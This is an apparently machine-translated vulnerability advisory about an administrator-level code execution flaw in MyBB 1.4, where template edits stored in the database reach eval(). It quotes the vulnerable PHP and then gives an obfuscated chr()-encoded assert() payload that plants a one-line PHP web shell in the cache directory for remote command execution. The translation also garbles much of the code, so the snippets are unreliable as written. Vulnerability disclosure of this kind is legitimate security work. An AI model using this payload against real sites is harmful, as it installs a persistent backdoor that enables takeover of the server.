Edit Note: The page width is insufficient. If you want to view details in this article, please copy all the selected content to your computer notepad or Word document,
The full text is displayed.
MyBB 1.4 admin remote code execution vulnerabilityby flyh4tteam: http://www.80vul.comdate : 2010-01-10 test version MyBB 1.44.11 [1] vulnerability analysis in index. the code for the PHP file is about 336 lines: [code] // index. php, around 336 rows $ plugins-> run_hooks ("index_end"); // The eval function is displayed. Note that the eval parameter ("$ index = "". $ templates-> get ("index "). ""; "); output_page ($ index); [/code] Check whether the content in the following eval () function is controllable, continue to find the templates class and view the get function Definition [code] // inc/class_templates.php. There are about 65 rows of function get ($ title, $ eslashes = 1, $ htmlcomments = 1) {global $ db, $ theme, $ mybb; // development mode // if ($ mybb-> Dev_mode = 1) {$ template = $ this-> dev_get ($ title); if ($ template! = False) {$ this-> cache [$ title] = $ template ;}} if (! Isset ($ this-> cache [$ title]) {$ query = $ db-> simple_select ("templates", "template", "title = ". $ db-> escape_string ($ title ). "AND sid IN (-2,-1 ,". $ theme [templateset]. ")", array (order_by => sid, order_dir => DESC, limit => 1 )); // code for getting a template from the database $ gettemplate = $ db-> fetch_array ($ query); if ($ mybb-> debug_mode) {$ this-> uncached_templates [$ title] = $ title;} if (! $ Gettemplate) {$ gettemplate [template] = "" ;}$ this-> cache [$ title] = $ gettemplate [template];} $ template = $ this-> cache [$ title]; if ($ htmlcomments) {if ($ mybb-> settings [tplhtmlcomments] = 1) {$ template = "<! -- Start: ". htmlspecialchars_uni ($ title)." -- >{$ template} <! -- End :". htmlspecialchars_uni ($ title ). "-->" ;}else {$ template = "{$ template}" ;}} if ($ eslashes) {$ template = str_replace ("\","", addslashes ($ template);} return $ template;} [/code] as shown in the code above, get () the function extracts the template content from the database and returns it to the eval function after processing. Continue with the following to see how the data in the database comes from [code] // admin/modules/style/templates. php, Row 3 starts if ($ mybb-> input [action] = "edit_template") {$ plugins-> run_hooks ("admin_style_templates_edit_template"); if (! $ Mybb-> input [title] |! $ Sid) {flash_message ($ lang-> error_missing_input, error); admin_redirect ("index. php? Module = style/templates ");} if ($ mybb-> request_method =" post ") {if (empty ($ mybb-> input [title]) {$ errors [] = $ lang-> error_missing_title;} if (! $ Errors) {$ query = $ db-> simple_select ("templates", "*", "tid = {$ mybb-> input [tid]}"); $ template = $ db-> fetch_array ($ query); // obtain the input content, includes the template title and content $ template_array = array (title => $ db-> escape_string ($ mybb-> input [title]), sid => $ sid, template => $ db-> escape_string (trim ($ mybb-> input [template]), version => $ mybb-> version_code, status =>, dateline => TIME_NOW); // Make sure we have the correct tid associated w Ith this template. if the user double submits then the tid cocould originally be the master template tid, but because the form is sumbitted again, the tid doesnt get updated to the new modified template one. this then causes the master template to be overwritten $ query = $ db-> simple_select ("templates", "tid", "title = ". $ db-> escape_string ($ template [title]). "AND (sid =-2 OR sid = {$ template [sid]})", Rray (order_by => sid, order_dir => desc, limit => 1); $ template [tid] = $ db-> fetch_field ($ query, "tid "); if ($ sid> 0) {// Check to see if its never been edited before (I. e. master) of if this a new template (I. e. weve renamed it) or if its a custom template $ query = $ db-> simple_select ("templates", "sid", "title = ". $ db-> escape_string ($ mybb-> input [title]). "AND (sid =-2 OR sid = {$ sid} OR sid = {$ template [Sid]}) ", array (order_by => sid, order_dir => desc); $ existing_sid = $ db-> fetch_field ($ query," sid "); $ existing_rows = $ db-> num_rows ($ query); // update the template database if ($ existing_sid =-2 & $ existing_rows = 1) | $ existing_rows = 0) {$ tid = $ db-> insert_query ("templates", $ template_array);} else {$ db-> update_query ("templates ", $ template_array, "tid = {$ template [tid]} AND sid! =-2 ") ;}} [/code] from the above code, this is a typical" second "vulnerability. in the background, we inject php code into the database by editing the template, and then access the front-end file to retrieve the code and run the code into the eval function. When injecting the code, we need to avoid some sensitive symbols. Unfortunately, this vulnerability can only be exploited with administrator privileges. It can only be used as the getwebshell method in the background. [2] vulnerability exploitation: select Edit Template in the background Home> Template Sets> Default Templates: index writes the following code under {$ headerinclude} and saves [code] {$ {assert (chr (102 ). chr (1, 112 ). chr (1, 117 ). chr (1, 116 ). chr (1, 115 ). chr (40 ). chr (1, 102 ). chr (1, 111 ). chr (1, 112 ). chr (1, 101 ). chr (1, 110 ). chr (40 ). chr (39 ). chr (99 ). chr (97 ). chr (99 ). chr (1, 104 ). chr (1, 101 ). chr (47 ). chr (1, 102 ). chr (1, 108 ). chr (1, 121 ). chr (1, 104 ). chr (52 ). chr (1, 116 ). chr (46 ). chr (1, 112 ). chr (1, 104 ). chr (1, 112 ). chr (39 ). chr (44 ). chr (39 ). chr (119 ). chr (39 ). chr (41 ). chr (44 ). chr (39 ). chr (60 ). chr (63 ). chr (1, 112 ). chr (1, 104 ). chr (1, 112 ). chr (32 ). chr (64 ). chr (36 ). chr (95 ). chr (80 ). chr (79 ). chr (83 ). chr (84 ). chr (91 ). chr (1, 119 ). chr (93 ). chr (40 ). chr (36 ). chr (95 ). chr (80 ). chr (79 ). chr (83 ). chr (84 ). chr (91 ). chr (1, 102 ). chr (93 ). chr (41 ). chr (63 ). chr (62 ). chr (39 ). chr (41 ). chr (59)} [/code] After accessing the home page, flyh4t will be generated in the cache directory. php, content: <? Php @ $ _ POST [w] ($ _ POST [f])?>, You can use a client to connect.